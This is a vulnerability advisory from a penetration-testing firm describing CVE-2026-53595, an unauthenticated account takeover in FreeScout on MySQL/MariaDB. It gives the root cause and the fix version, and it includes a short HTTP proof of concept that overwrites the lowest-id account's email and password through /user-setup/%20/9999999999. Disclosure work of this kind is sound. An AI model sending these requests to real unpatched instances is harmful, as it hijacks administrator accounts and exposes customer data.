FreeScout: Anonymous Account Takeover via `/user-setup` Empty `invite_hash`

On MySQL and MariaDB a single space (%20) matches the empty invite_hash of already-activated accounts, letting an unauthenticated attacker set the email and password of the lowest-id account (typically an agent or administrator) and log in.

Advisory ID: TP-2026-010
Product: FreeScout (widely used open-source help-desk and shared-inbox system)
Vulnerability type: Authentication bypass leading to account takeover (CWE-287, CWE-178, CWE-640)
CVE: CVE-2026-53595
CVSS 3.1: 9.4 (Critical) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Affected versions: < 1.8.224 (MySQL/MariaDB only)
Fixed in: 1.8.224
Vendor advisory: GHSA-jqj5-r72v-v29g
Reported: 1 June 2026

Summary

FreeScout is a widely used open-source help-desk and shared-inbox system. The invited-account setup endpoint (/user-setup/{hash}/{invite_sent_at}) performs no authentication of its own and compares the supplied hash directly against the account's stored invite_hash. After an invitation is accepted and at login, that invite_hash is cleared, so activated accounts carry an empty value. On MySQL and MariaDB, trailing spaces are ignored in VARCHAR equality, so a single space (%20) matches the empty invite_hash. The timestamp expiry check does not help, because the decryption helper returns its input unchanged on failure, letting a value such as 9999999999 bypass the deadline. An unauthenticated attacker can therefore set the email and password of the activated account with the lowest id and log in. turingpoint verified the end-to-end flow live and reported it responsibly to the vendor.

Root cause

The route POST /user-setup/{hash}/{invite_sent_at} (OpenController@userSetupSave, routes/web.php:30-31) looks the account up by invite_hash and checks neither a session nor any other authentication. On invitation acceptance and at later login, invite_hash is set to an empty string, so active accounts no longer carry a hash. On MySQL/MariaDB, VARCHAR comparison treats '' = ' ' as true because trailing spaces are ignored in equality. A hash consisting of a single space (%20) therefore matches the empty invite_hash and returns the activated account with the lowest id. The additional invite_sent_at deadline is moot, because Helper::decrypt returns the raw input unchanged on a decryption failure, so an arbitrary future value such as 9999999999 passes the time check (app/Http/Controllers/OpenController.php:56,109,112,118,127-133). PostgreSQL is unaffected, since trailing spaces are significant in its VARCHAR equality. The vendor fixed the lookup so that empty invite_hash values no longer match.

Proof of Concept

No authentication, against a FreeScout instance on MySQL/MariaDB with at least one activated account:

# 1) Address the activated account with the lowest id via the empty invite_hash
#    (single space %20 as hash, a future value as invite_sent_at)
GET /user-setup/%20/9999999999 HTTP/1.1

# 2) Overwrite the matched account's email and password
POST /user-setup/%20/9999999999 HTTP/1.1
Content-Type: application/x-www-form-urlencoded

[email protected]&password=NewPassword123!&password_confirmation=NewPassword123!

# 3) Log in with the attacker-controlled credentials
# Control: the same request against a PostgreSQL instance does not match the empty invite_hash.

Live-verified on FreeScout 1.8.223 (MySQL): the anonymous request addresses the activated account with the lowest id, sets its email and password, and enables the subsequent login as that account.

Impact

  • Complete takeover of the activated account with the lowest id (typically a support agent or administrator), with no account, secret or user interaction required.
  • Access to mailboxes, conversations and customer data and, for an administrator account, potential instance-wide compromise.
  • The original account owner is permanently locked out by the changed credentials.
  • Only instances on MySQL or MariaDB are affected; PostgreSQL installations are not exploitable.

References

Is Something Like This in Your Software?

Our team found this vulnerability in the course of its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.